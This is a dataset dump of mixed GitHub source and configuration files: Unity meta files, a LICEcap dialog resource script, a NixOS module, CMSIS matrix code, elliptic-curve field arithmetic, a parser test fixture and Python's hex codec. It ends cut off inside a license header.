text
stringlengths 2
99.9k
| meta
dict |
---|---|
fileFormatVersion: 2
guid: 1b9b53879f7c93b42835c3ad9e0d0a66
MonoImporter:
externalObjects: {}
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
//Microsoft Developer Studio generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (U.S.) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
#ifdef _WIN32
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#pragma code_page(1252)
#endif //_WIN32
/////////////////////////////////////////////////////////////////////////////
//
// Dialog
//
IDD_DIALOG1 DIALOG DISCARDABLE 0, 0, 551, 335
STYLE WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME
CAPTION "LICEcap"
FONT 8, "MS Sans Serif"
BEGIN
PUSHBUTTON "Insert...",IDC_INSERT,430,320,41,12
PUSHBUTTON "Record...",IDC_REC,474,320,41,12
PUSHBUTTON "Stop",IDC_STOP,517,320,30,12
LTEXT "Max FPS:",IDC_MAXFPS_LBL,4,322,32,8
EDITTEXT IDC_MAXFPS,37,320,17,12,ES_AUTOHSCROLL | ES_NUMBER
LTEXT "Size:",IDC_DIMLBL_1,61,322,16,8
EDITTEXT IDC_XSZ,80,320,21,12,ES_AUTOHSCROLL | ES_NUMBER
LTEXT "x",IDC_DIMLBL,103,322,8,8
EDITTEXT IDC_YSZ,110,320,21,12,ES_AUTOHSCROLL | ES_NUMBER
CONTROL "Status (i.e. 640x480 x fps 3:21 etc)",IDC_STATUS,"Static",
SS_LEFTNOWORDWRAP | WS_GROUP,7,322,420,8
CONTROL "",IDC_VIEWRECT,"Static",SS_BLACKFRAME,4,4,543,314
END
IDD_SAVEOPTS DIALOGEX 0, 0, 317, 93
STYLE DS_CONTROL | WS_CHILD | WS_CLIPSIBLINGS
EXSTYLE WS_EX_CONTROLPARENT
FONT 8, "MS Sans Serif"
BEGIN
GROUPBOX "Display in animation",IDC_STATIC,0,4,99,51
CONTROL "title frame:",IDC_TITLEUSE,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,6,18,45,10
EDITTEXT IDC_MS,54,16,26,13,ES_AUTOHSCROLL
LTEXT "sec",IDC_STATIC,82,18,14,8
CONTROL "elapsed time",IDC_TIMELINE,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,6,31,76,10
CONTROL "mouse button press",IDC_MOUSECAP,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,6,43,75,10
EDITTEXT IDC_TITLE,105,8,208,36,ES_MULTILINE | ES_WANTRETURN
CONTROL "Big font",IDC_BIGFONT,"Button",BS_AUTOCHECKBOX |
WS_TABSTOP,275,46,37,10
PUSHBUTTON "WEBM options...",IDC_BUTTON1,238,77,75,14
CONTROL "Control+Alt+P pauses recording",IDC_SSPAUSE,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,105,46,115,10
LTEXT ".GIF repeat count (0=infinite):",IDC_STATIC,0,63,92,8
EDITTEXT IDC_LOOPCNT,94,61,34,13,ES_AUTOHSCROLL
CONTROL "Use .GIF transparency for smaller files",IDC_CHECK1,
"Button",BS_AUTOCHECKBOX | WS_TABSTOP,132,62,134,10
CONTROL "Automatically stop after",IDC_CHECK2,"Button",
BS_AUTOCHECKBOX | WS_TABSTOP,2,78,87,10
EDITTEXT IDC_STOPAFTER_SEC,92,77,26,13,ES_AUTOHSCROLL
LTEXT "seconds",IDC_STOPAFTER_SEC_LBL,120,79,28,8
END
IDD_INSERT DIALOGEX 0, 0, 281, 122
STYLE WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME
CAPTION "Insert text frame"
FONT 8, "MS Shell Dlg", 400, 0, 0x1
BEGIN
EDITTEXT IDC_EDIT,5,5,270,96,ES_MULTILINE | ES_AUTOVSCROLL |
ES_AUTOHSCROLL | ES_WANTRETURN | WS_VSCROLL | WS_HSCROLL
LTEXT "Duration:",IDC_STATIC,5,108,32,8
EDITTEXT IDC_MS,39,106,27,12,ES_AUTOHSCROLL
LTEXT "Alpha:",IDC_STATIC,80,108,25,8
EDITTEXT IDC_ALPHA,105,106,27,12,ES_AUTOHSCROLL
PUSHBUTTON "Insert (0)",IDOK,190,106,41,12
PUSHBUTTON "Close",IDCANCEL,235,106,41,12
END
IDD_OPTIONS DIALOG DISCARDABLE 0, 0, 317, 78
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "WEBM options"
FONT 8, "MS Sans Serif"
BEGIN
GROUPBOX "WEBM options",IDC_STATIC,4,4,309,51
LTEXT "Video bitrate:",IDC_STATIC,8,17,42,8
LTEXT "Audio bitrate:",IDC_STATIC,8,32,42,8
EDITTEXT IDC_EDIT1,51,15,34,13,ES_AUTOHSCROLL
EDITTEXT IDC_EDIT2,51,30,34,13,ES_AUTOHSCROLL
LTEXT "kbps",IDC_STATIC,87,17,16,8
LTEXT "kbps",IDC_STATIC,87,32,16,8
PUSHBUTTON "Ok",IDOK,263,59,50,14
END
/////////////////////////////////////////////////////////////////////////////
//
// DESIGNINFO
//
#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO DISCARDABLE
BEGIN
IDD_DIALOG1, DIALOG
BEGIN
LEFTMARGIN, 4
RIGHTMARGIN, 547
TOPMARGIN, 4
BOTTOMMARGIN, 332
END
IDD_SAVEOPTS, DIALOG
BEGIN
RIGHTMARGIN, 313
TOPMARGIN, 4
BOTTOMMARGIN, 92
END
IDD_OPTIONS, DIALOG
BEGIN
LEFTMARGIN, 4
RIGHTMARGIN, 313
TOPMARGIN, 4
BOTTOMMARGIN, 73
END
END
#endif // APSTUDIO_INVOKED
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE DISCARDABLE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE DISCARDABLE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE DISCARDABLE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON1 ICON DISCARDABLE "icon1.ico"
#endif // English (U.S.) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED
| {
"pile_set_name": "Github"
} |
{ config, pkgs, ... }:
with pkgs.lib;
let
cfg = config.services.xserver.windowManager.twm;
in
{
###### interface
options = {
services.xserver.windowManager.twm.enable = mkOption {
default = false;
description = "Enable the twm window manager.";
};
};
###### implementation
config = mkIf cfg.enable {
services.xserver.windowManager.session = singleton
{ name = "twm";
start =
''
${pkgs.xorg.twm}/bin/twm &
waitPID=$!
'';
};
environment.x11Packages = [ pkgs.xorg.twm ];
};
}
| {
"pile_set_name": "Github"
} |
//
// MediaPlayer.h
// IJKMediaPlayer
//
// Created by cezr on 16/7/17.
// Copyright © 2016年 云之彼端. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface MediaPlayer : UIViewController
+ (instancetype)playerWithURL:(NSURL *)url cid:(NSInteger)cid title:(NSString *)title inViewController:(UIViewController *)controller;
+ (instancetype)livePlayerWithURL:(NSURL *)url title:(NSString *)title inViewController:(UIViewController *)controller;
@end
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2015-present, salesforce.com, inc. All rights reserved
// Licensed under BSD 3-Clause - see LICENSE.txt or git.io/sfdc-license
import React from 'react';
import { Fieldset, Legend } from '../../radio-group/base/example';
import { FormElementControl } from '../../form-element';
import { VisualPicker } from '../coverable-content/example';
/// ////////////////////////////////////////
// Export
/// ////////////////////////////////////////
export default (
<Fieldset>
<Legend>Select an option</Legend>
<FormElementControl>
<VisualPicker className="slds-visual-picker_vertical" type="radio">
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better understand
what this option is about.
</span>
</span>
</VisualPicker>
<VisualPicker className="slds-visual-picker_vertical" type="radio">
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better understand
what this option is about.
</span>
</span>
</VisualPicker>
<VisualPicker className="slds-visual-picker_vertical" type="radio">
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better understand
what this option is about.
</span>
</span>
</VisualPicker>
</FormElementControl>
</Fieldset>
);
export let states = [
{
id: 'disabled',
label: 'Disabled option',
element: (
<Fieldset>
<Legend>Select an option</Legend>
<FormElementControl>
<VisualPicker className="slds-visual-picker_vertical" type="radio">
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better
understand what this option is about.
</span>
</span>
</VisualPicker>
<VisualPicker className="slds-visual-picker_vertical" type="radio">
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better
understand what this option is about.
</span>
</span>
</VisualPicker>
<VisualPicker
className="slds-visual-picker_vertical"
type="radio"
disabled
>
<span>
<span className="slds-text-heading_medium slds-m-bottom_x-small">
Item Text
</span>
<span className="slds-text-title">
Some optional item description to help the user better
understand what this option is about.
</span>
</span>
</VisualPicker>
</FormElementControl>
</Fieldset>
)
}
];
| {
"pile_set_name": "Github"
} |
/* ----------------------------------------------------------------------
* Copyright (C) 2010-2013 ARM Limited. All rights reserved.
*
* $Date: 17. January 2013
* $Revision: V1.4.1
*
* Project: CMSIS DSP Library
* Title: arm_mat_mult_q31.c
*
* Description: Q31 matrix multiplication.
*
* Target Processor: Cortex-M4/Cortex-M3/Cortex-M0
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* - Neither the name of ARM LIMITED nor the names of its contributors
* may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
* -------------------------------------------------------------------- */
#include "arm_math.h"
/**
* @ingroup groupMatrix
*/
/**
* @addtogroup MatrixMult
* @{
*/
/**
* @brief Q31 matrix multiplication
* @param[in] *pSrcA points to the first input matrix structure
* @param[in] *pSrcB points to the second input matrix structure
* @param[out] *pDst points to output matrix structure
* @return The function returns either
* <code>ARM_MATH_SIZE_MISMATCH</code> or <code>ARM_MATH_SUCCESS</code> based on the outcome of size checking.
*
* @details
* <b>Scaling and Overflow Behavior:</b>
*
* \par
* The function is implemented using an internal 64-bit accumulator.
* The accumulator has a 2.62 format and maintains full precision of the intermediate
* multiplication results but provides only a single guard bit. There is no saturation
* on intermediate additions. Thus, if the accumulator overflows it wraps around and
* distorts the result. The input signals should be scaled down to avoid intermediate
* overflows. The input is thus scaled down by log2(numColsA) bits
* to avoid overflows, as a total of numColsA additions are performed internally.
* The 2.62 accumulator is right shifted by 31 bits and saturated to 1.31 format to yield the final result.
*
* \par
* See <code>arm_mat_mult_fast_q31()</code> for a faster but less precise implementation of this function for Cortex-M3 and Cortex-M4.
*
*/
arm_status arm_mat_mult_q31(
const arm_matrix_instance_q31 * pSrcA,
const arm_matrix_instance_q31 * pSrcB,
arm_matrix_instance_q31 * pDst)
{
q31_t *pIn1 = pSrcA->pData; /* input data matrix pointer A */
q31_t *pIn2 = pSrcB->pData; /* input data matrix pointer B */
q31_t *pInA = pSrcA->pData; /* input data matrix pointer A */
q31_t *pOut = pDst->pData; /* output data matrix pointer */
q31_t *px; /* Temporary output data matrix pointer */
q63_t sum; /* Accumulator */
uint16_t numRowsA = pSrcA->numRows; /* number of rows of input matrix A */
uint16_t numColsB = pSrcB->numCols; /* number of columns of input matrix B */
uint16_t numColsA = pSrcA->numCols; /* number of columns of input matrix A */
#ifndef ARM_MATH_CM0_FAMILY
/* Run the below code for Cortex-M4 and Cortex-M3 */
uint16_t col, i = 0u, j, row = numRowsA, colCnt; /* loop counters */
arm_status status; /* status of matrix multiplication */
q31_t a0, a1, a2, a3, b0, b1, b2, b3;
#ifdef ARM_MATH_MATRIX_CHECK
/* Check for matrix mismatch condition */
if((pSrcA->numCols != pSrcB->numRows) ||
(pSrcA->numRows != pDst->numRows) || (pSrcB->numCols != pDst->numCols))
{
/* Set status as ARM_MATH_SIZE_MISMATCH */
status = ARM_MATH_SIZE_MISMATCH;
}
else
#endif /* #ifdef ARM_MATH_MATRIX_CHECK */
{
/* The following loop performs the dot-product of each row in pSrcA with each column in pSrcB */
/* row loop */
do
{
/* Output pointer is set to starting address of the row being processed */
px = pOut + i;
/* For every row wise process, the column loop counter is to be initiated */
col = numColsB;
/* For every row wise process, the pIn2 pointer is set
** to the starting address of the pSrcB data */
pIn2 = pSrcB->pData;
j = 0u;
/* column loop */
do
{
/* Set the variable sum, that acts as accumulator, to zero */
sum = 0;
/* Initiate the pointer pIn1 to point to the starting address of pInA */
pIn1 = pInA;
/* Apply loop unrolling and compute 4 MACs simultaneously. */
colCnt = numColsA >> 2;
/* matrix multiplication */
while(colCnt > 0u)
{
/* c(m,n) = a(1,1)*b(1,1) + a(1,2) * b(2,1) + .... + a(m,p)*b(p,n) */
/* Perform the multiply-accumulates */
b0 = *pIn2;
pIn2 += numColsB;
a0 = *pIn1++;
a1 = *pIn1++;
b1 = *pIn2;
pIn2 += numColsB;
b2 = *pIn2;
pIn2 += numColsB;
sum += (q63_t) a0 *b0;
sum += (q63_t) a1 *b1;
a2 = *pIn1++;
a3 = *pIn1++;
b3 = *pIn2;
pIn2 += numColsB;
sum += (q63_t) a2 *b2;
sum += (q63_t) a3 *b3;
/* Decrement the loop counter */
colCnt--;
}
/* If the columns of pSrcA is not a multiple of 4, compute any remaining output samples here.
** No loop unrolling is used. */
colCnt = numColsA % 0x4u;
while(colCnt > 0u)
{
/* c(m,n) = a(1,1)*b(1,1) + a(1,2) * b(2,1) + .... + a(m,p)*b(p,n) */
/* Perform the multiply-accumulates */
sum += (q63_t) * pIn1++ * *pIn2;
pIn2 += numColsB;
/* Decrement the loop counter */
colCnt--;
}
/* Convert the result from 2.62 to 1.31 format and store in destination buffer */
*px++ = (q31_t) (sum >> 31);
/* Update the pointer pIn2 to point to the starting address of the next column */
j++;
pIn2 = (pSrcB->pData) + j;
/* Decrement the column loop counter */
col--;
} while(col > 0u);
#else
/* Run the below code for Cortex-M0 */
q31_t *pInB = pSrcB->pData; /* input data matrix pointer B */
uint16_t col, i = 0u, row = numRowsA, colCnt; /* loop counters */
arm_status status; /* status of matrix multiplication */
#ifdef ARM_MATH_MATRIX_CHECK
/* Check for matrix mismatch condition */
if((pSrcA->numCols != pSrcB->numRows) ||
(pSrcA->numRows != pDst->numRows) || (pSrcB->numCols != pDst->numCols))
{
/* Set status as ARM_MATH_SIZE_MISMATCH */
status = ARM_MATH_SIZE_MISMATCH;
}
else
#endif /* #ifdef ARM_MATH_MATRIX_CHECK */
{
/* The following loop performs the dot-product of each row in pSrcA with each column in pSrcB */
/* row loop */
do
{
/* Output pointer is set to starting address of the row being processed */
px = pOut + i;
/* For every row wise process, the column loop counter is to be initiated */
col = numColsB;
/* For every row wise process, the pIn2 pointer is set
** to the starting address of the pSrcB data */
pIn2 = pSrcB->pData;
/* column loop */
do
{
/* Set the variable sum, that acts as accumulator, to zero */
sum = 0;
/* Initiate the pointer pIn1 to point to the starting address of pInA */
pIn1 = pInA;
/* Matrix A columns number of MAC operations are to be performed */
colCnt = numColsA;
/* matrix multiplication */
while(colCnt > 0u)
{
/* c(m,n) = a(1,1)*b(1,1) + a(1,2) * b(2,1) + .... + a(m,p)*b(p,n) */
/* Perform the multiply-accumulates */
sum += (q63_t) * pIn1++ * *pIn2;
pIn2 += numColsB;
/* Decrement the loop counter */
colCnt--;
}
/* Convert the result from 2.62 to 1.31 format and store in destination buffer */
*px++ = (q31_t) (sum >> 31);
/* Decrement the column loop counter */
col--;
/* Update the pointer pIn2 to point to the starting address of the next column */
pIn2 = pInB + (numColsB - col);
} while(col > 0u);
#endif
/* Update the pointer pInA to point to the starting address of the next row */
i = i + numColsB;
pInA = pInA + numColsA;
/* Decrement the row loop counter */
row--;
} while(row > 0u);
/* set status as ARM_MATH_SUCCESS */
status = ARM_MATH_SUCCESS;
}
/* Return to application */
return (status);
}
/**
* @} end of MatrixMult group
*/
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<ZopeData>
<record id="1" aka="AAAAAAAAAAE=">
<pickle>
<global name="File" module="OFS.Image"/>
</pickle>
<pickle>
<dictionary>
<item>
<key> <string>__name__</string> </key>
<value> <string>test_ooo_presentation.ppty</string> </value>
</item>
<item>
<key> <string>content_type</string> </key>
<value> <string>application/octet-stream</string> </value>
</item>
<item>
<key> <string>precondition</string> </key>
<value> <string></string> </value>
</item>
<item>
<key> <string>title</string> </key>
<value> <string></string> </value>
</item>
</dictionary>
</pickle>
</record>
</ZopeData>
| {
"pile_set_name": "Github"
} |
{
"type": "Program",
"body": [
{
"type": "ExpressionStatement",
"expression": {
"type": "AssignmentExpression",
"operator": "=",
"left": {
"type": "CallExpression",
"callee": {
"type": "Identifier",
"name": "foo",
"range": [
0,
3
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 3
}
}
},
"arguments": [
{
"type": "Literal",
"value": "bar",
"raw": "\"bar\"",
"range": [
4,
9
],
"loc": {
"start": {
"line": 1,
"column": 4
},
"end": {
"line": 1,
"column": 9
}
}
}
],
"range": [
0,
10
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 10
}
}
},
"right": {
"type": "Identifier",
"name": "baz",
"range": [
13,
16
],
"loc": {
"start": {
"line": 1,
"column": 13
},
"end": {
"line": 1,
"column": 16
}
}
},
"range": [
0,
16
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 16
}
}
},
"range": [
0,
16
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 16
}
}
}
],
"sourceType": "script",
"tokens": [
{
"type": "Identifier",
"value": "foo",
"range": [
0,
3
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 3
}
}
},
{
"type": "Punctuator",
"value": "(",
"range": [
3,
4
],
"loc": {
"start": {
"line": 1,
"column": 3
},
"end": {
"line": 1,
"column": 4
}
}
},
{
"type": "String",
"value": "\"bar\"",
"range": [
4,
9
],
"loc": {
"start": {
"line": 1,
"column": 4
},
"end": {
"line": 1,
"column": 9
}
}
},
{
"type": "Punctuator",
"value": ")",
"range": [
9,
10
],
"loc": {
"start": {
"line": 1,
"column": 9
},
"end": {
"line": 1,
"column": 10
}
}
},
{
"type": "Punctuator",
"value": "=",
"range": [
11,
12
],
"loc": {
"start": {
"line": 1,
"column": 11
},
"end": {
"line": 1,
"column": 12
}
}
},
{
"type": "Identifier",
"value": "baz",
"range": [
13,
16
],
"loc": {
"start": {
"line": 1,
"column": 13
},
"end": {
"line": 1,
"column": 16
}
}
}
],
"errors": [
{
"index": 10,
"lineNumber": 1,
"column": 11,
"message": "Error: Line 1: Invalid left-hand side in assignment"
}
],
"range": [
0,
16
],
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 16
}
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2007, 2011, Oracle and/or its affiliates. All rights reserved.
* Use is subject to license terms.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this library; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/* *********************************************************************
*
* The Original Code is the elliptic curve math library.
*
* The Initial Developer of the Original Code is
* Sun Microsystems, Inc.
* Portions created by the Initial Developer are Copyright (C) 2003
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
* Douglas Stebila <[email protected]>, Sun Microsystems Laboratories
*
*********************************************************************** */
/* Uses Montgomery reduction for field arithmetic. See mpi/mpmontg.c for
* code implementation. */
#include "mpi.h"
#include "mplogic.h"
#include "mpi-priv.h"
#include "ecl-priv.h"
#include "ecp.h"
#ifndef _KERNEL
#include <stdlib.h>
#include <stdio.h>
#endif
/* Construct a generic GFMethod for arithmetic over prime fields with
* irreducible irr. */
GFMethod *
GFMethod_consGFp_mont(const mp_int *irr)
{
mp_err res = MP_OKAY;
int i;
GFMethod *meth = NULL;
mp_mont_modulus *mmm;
meth = GFMethod_consGFp(irr);
if (meth == NULL)
return NULL;
#ifdef _KERNEL
mmm = (mp_mont_modulus *) kmem_alloc(sizeof(mp_mont_modulus),
FLAG(irr));
#else
mmm = (mp_mont_modulus *) malloc(sizeof(mp_mont_modulus));
#endif
if (mmm == NULL) {
res = MP_MEM;
goto CLEANUP;
}
meth->field_mul = &ec_GFp_mul_mont;
meth->field_sqr = &ec_GFp_sqr_mont;
meth->field_div = &ec_GFp_div_mont;
meth->field_enc = &ec_GFp_enc_mont;
meth->field_dec = &ec_GFp_dec_mont;
meth->extra1 = mmm;
meth->extra2 = NULL;
meth->extra_free = &ec_GFp_extra_free_mont;
mmm->N = meth->irr;
i = mpl_significant_bits(&meth->irr);
i += MP_DIGIT_BIT - 1;
mmm->b = i - i % MP_DIGIT_BIT;
mmm->n0prime = 0 - s_mp_invmod_radix(MP_DIGIT(&meth->irr, 0));
CLEANUP:
if (res != MP_OKAY) {
GFMethod_free(meth);
return NULL;
}
return meth;
}
/* Wrapper functions for generic prime field arithmetic. */
/* Field multiplication using Montgomery reduction. */
mp_err
ec_GFp_mul_mont(const mp_int *a, const mp_int *b, mp_int *r,
const GFMethod *meth)
{
mp_err res = MP_OKAY;
#ifdef MP_MONT_USE_MP_MUL
/* if MP_MONT_USE_MP_MUL is defined, then the function s_mp_mul_mont
* is not implemented and we have to use mp_mul and s_mp_redc directly
*/
MP_CHECKOK(mp_mul(a, b, r));
MP_CHECKOK(s_mp_redc(r, (mp_mont_modulus *) meth->extra1));
#else
mp_int s;
MP_DIGITS(&s) = 0;
/* s_mp_mul_mont doesn't allow source and destination to be the same */
if ((a == r) || (b == r)) {
MP_CHECKOK(mp_init(&s, FLAG(a)));
MP_CHECKOK(s_mp_mul_mont
(a, b, &s, (mp_mont_modulus *) meth->extra1));
MP_CHECKOK(mp_copy(&s, r));
mp_clear(&s);
} else {
return s_mp_mul_mont(a, b, r, (mp_mont_modulus *) meth->extra1);
}
#endif
CLEANUP:
return res;
}
/* Field squaring using Montgomery reduction. */
mp_err
ec_GFp_sqr_mont(const mp_int *a, mp_int *r, const GFMethod *meth)
{
return ec_GFp_mul_mont(a, a, r, meth);
}
/* Field division using Montgomery reduction. */
mp_err
ec_GFp_div_mont(const mp_int *a, const mp_int *b, mp_int *r,
const GFMethod *meth)
{
mp_err res = MP_OKAY;
/* if A=aZ represents a encoded in montgomery coordinates with Z and #
* and \ respectively represent multiplication and division in
* montgomery coordinates, then A\B = (a/b)Z = (A/B)Z and Binv =
* (1/b)Z = (1/B)(Z^2) where B # Binv = Z */
MP_CHECKOK(ec_GFp_div(a, b, r, meth));
MP_CHECKOK(ec_GFp_enc_mont(r, r, meth));
if (a == NULL) {
MP_CHECKOK(ec_GFp_enc_mont(r, r, meth));
}
CLEANUP:
return res;
}
/* Encode a field element in Montgomery form. See s_mp_to_mont in
* mpi/mpmontg.c */
mp_err
ec_GFp_enc_mont(const mp_int *a, mp_int *r, const GFMethod *meth)
{
mp_mont_modulus *mmm;
mp_err res = MP_OKAY;
mmm = (mp_mont_modulus *) meth->extra1;
MP_CHECKOK(mpl_lsh(a, r, mmm->b));
MP_CHECKOK(mp_mod(r, &mmm->N, r));
CLEANUP:
return res;
}
/* Decode a field element from Montgomery form. */
mp_err
ec_GFp_dec_mont(const mp_int *a, mp_int *r, const GFMethod *meth)
{
mp_err res = MP_OKAY;
if (a != r) {
MP_CHECKOK(mp_copy(a, r));
}
MP_CHECKOK(s_mp_redc(r, (mp_mont_modulus *) meth->extra1));
CLEANUP:
return res;
}
/* Free the memory allocated to the extra fields of Montgomery GFMethod
* object. */
void
ec_GFp_extra_free_mont(GFMethod *meth)
{
if (meth->extra1 != NULL) {
#ifdef _KERNEL
kmem_free(meth->extra1, sizeof(mp_mont_modulus));
#else
free(meth->extra1);
#endif
meth->extra1 = NULL;
}
}
| {
"pile_set_name": "Github"
} |
describe "UnderOs::UI::Div" do
before do
@div = UnderOs::UI::Div.new
end
describe "constructor" do
it "builds an UnderOs::UI::Div instance" do
@div.class.should == UnderOs::UI::Div
end
it "wraps a generic UIView element" do
@div._.class.should == UIView
end
it "has the DIV tag assigned to the element" do
@div.tagName.should == "DIV"
end
it "handles the usual options" do
div = UnderOs::UI::Div.new(id: 'my-div')
div.id.should == 'my-div'
end
end
end
| {
"pile_set_name": "Github"
} |
"""Python 'hex_codec' Codec - 2-digit hex content transfer encoding.
This codec de/encodes from bytes to bytes and is therefore usable with
bytes.transform() and bytes.untransform().
Written by Marc-Andre Lemburg ([email protected]).
"""
import codecs
import binascii
### Codec APIs
def hex_encode(input, errors='strict'):
assert errors == 'strict'
return (binascii.b2a_hex(input), len(input))
def hex_decode(input, errors='strict'):
assert errors == 'strict'
return (binascii.a2b_hex(input), len(input))
class Codec(codecs.Codec):
def encode(self, input, errors='strict'):
return hex_encode(input, errors)
def decode(self, input, errors='strict'):
return hex_decode(input, errors)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
assert self.errors == 'strict'
return binascii.b2a_hex(input)
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
assert self.errors == 'strict'
return binascii.a2b_hex(input)
class StreamWriter(Codec, codecs.StreamWriter):
charbuffertype = bytes
class StreamReader(Codec, codecs.StreamReader):
charbuffertype = bytes
### encodings module API
def getregentry():
return codecs.CodecInfo(
name='hex',
encode=hex_encode,
decode=hex_decode,
incrementalencoder=IncrementalEncoder,
incrementaldecoder=IncrementalDecoder,
streamwriter=StreamWriter,
streamreader=StreamReader,
)
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 521e9fcbdc158324ab89e58eb11d0af5
timeCreated: 1445081762
licenseType: Free
TextureImporter:
fileIDToRecycleName: {}
serializedVersion: 2
mipmaps:
mipMapMode: 0
enableMipMap: 0
linearTexture: 1
correctGamma: 0
fadeOut: 0
borderMipMap: 0
mipMapFadeDistanceStart: 1
mipMapFadeDistanceEnd: 3
bumpmap:
convertToNormalMap: 0
externalNormalMap: 0
heightScale: 0.25
normalMapFilter: 0
isReadable: 0
grayScaleToAlpha: 0
generateCubemap: 0
cubemapConvolution: 0
cubemapConvolutionSteps: 4
cubemapConvolutionExponent: 1.5
seamlessCubemap: 0
textureFormat: -3
maxTextureSize: 2048
textureSettings:
filterMode: -1
aniso: 1
mipBias: -1
wrapMode: 1
nPOTScale: 0
lightmap: 0
rGBM: 0
compressionQuality: 50
allowsAlphaSplitting: 0
spriteMode: 0
spriteExtrude: 1
spriteMeshType: 1
alignment: 0
spritePivot: {x: 0.5, y: 0.5}
spriteBorder: {x: 0, y: 0, z: 0, w: 0}
spritePixelsToUnits: 100
alphaIsTransparency: 1
textureType: 2
buildTargetSettings: []
spriteSheet:
sprites: []
outline: []
spritePackingTag:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2019-2020 GeyserMC. http://geysermc.org
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
